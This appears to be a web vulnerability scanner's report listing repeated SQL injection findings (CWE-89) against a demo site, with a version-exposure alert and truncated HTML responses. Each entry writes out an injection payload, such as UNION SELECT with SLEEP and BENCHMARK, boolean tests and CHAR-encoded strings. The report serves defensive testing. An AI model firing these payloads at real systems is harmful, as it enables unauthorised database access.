iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #531
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #532
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #533
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #534
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #535
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #536
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #537
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #538
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #539
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' ORDER BY 3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #540
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #541
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #542
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #543
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #544
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #545
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
